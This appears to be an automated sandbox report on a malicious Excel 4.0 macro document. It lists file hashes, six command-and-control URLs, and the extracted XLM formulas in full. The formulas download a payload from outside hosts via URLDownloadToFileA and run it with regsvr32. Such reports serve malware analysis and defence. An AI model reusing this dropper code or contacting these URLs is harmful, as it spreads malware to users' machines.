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General

  • Target

    d677a8d4b2e792e40d293d993dadeced00c9b8773b738e4634a9878d4f3dd737

  • Size

    40KB

  • Sample

    241121-a77l2swhna

  • MD5

    c028eb6cf3a22d84a9ff927ee975da7c

  • SHA1

    d76cb2d9a9deded0b8e358adadd7e991e49c098c

  • SHA256

    d677a8d4b2e792e40d293d993dadeced00c9b8773b738e4634a9878d4f3dd737

  • SHA512

    0b169d55302fc13e0e640c3f379ea7faf6f0aad57936c1685168a940707654a97b8dfc761004cd4c1e7b4bd45dd73edf4ad41577083a482e64e1c20c4bda5b14

  • SSDEEP

    768:9qhdomi1DOevZCwtumwyKfcrND59V+L9Rw4eWrXcTqZ0Vf5XJ:Ydom4DJwylND59V4jwmXc2CVf5Z

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://nuwayinternational.com/js/ELNnL0in5CbGnHmNc/

http://crm.techopesolutions.com/tttwxore/ihzbh04dT0XaJGAf/

http://techplanbd.xyz/qel424/RSz4/

http://steelcorp-fr.com/wp-content/tmMFW0SOgOjVCO/

https://deine-bewerbung.com/wp-content/TKXpk/

https://livejagat.com/h/L37tCM6ppS/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://nuwayinternational.com/js/ELNnL0in5CbGnHmNc/","..\cre.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://crm.techopesolutions.com/tttwxore/ihzbh04dT0XaJGAf/","..\cre.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://techplanbd.xyz/qel424/RSz4/","..\cre.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://steelcorp-fr.com/wp-content/tmMFW0SOgOjVCO/","..\cre.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://deine-bewerbung.com/wp-content/TKXpk/","..\cre.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://livejagat.com/h/L37tCM6ppS/","..\cre.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\cre.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://nuwayinternational.com/js/ELNnL0in5CbGnHmNc/

xlm40.dropper

http://crm.techopesolutions.com/tttwxore/ihzbh04dT0XaJGAf/

xlm40.dropper

http://techplanbd.xyz/qel424/RSz4/

Targets

    • Target

      d677a8d4b2e792e40d293d993dadeced00c9b8773b738e4634a9878d4f3dd737

    • Size

      40KB

    • MD5

      c028eb6cf3a22d84a9ff927ee975da7c

    • SHA1

      d76cb2d9a9deded0b8e358adadd7e991e49c098c

    • SHA256

      d677a8d4b2e792e40d293d993dadeced00c9b8773b738e4634a9878d4f3dd737

    • SHA512

      0b169d55302fc13e0e640c3f379ea7faf6f0aad57936c1685168a940707654a97b8dfc761004cd4c1e7b4bd45dd73edf4ad41577083a482e64e1c20c4bda5b14

    • SSDEEP

      768:9qhdomi1DOevZCwtumwyKfcrND59V+L9Rw4eWrXcTqZ0Vf5XJ:Ydom4DJwylND59V4jwmXc2CVf5Z

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks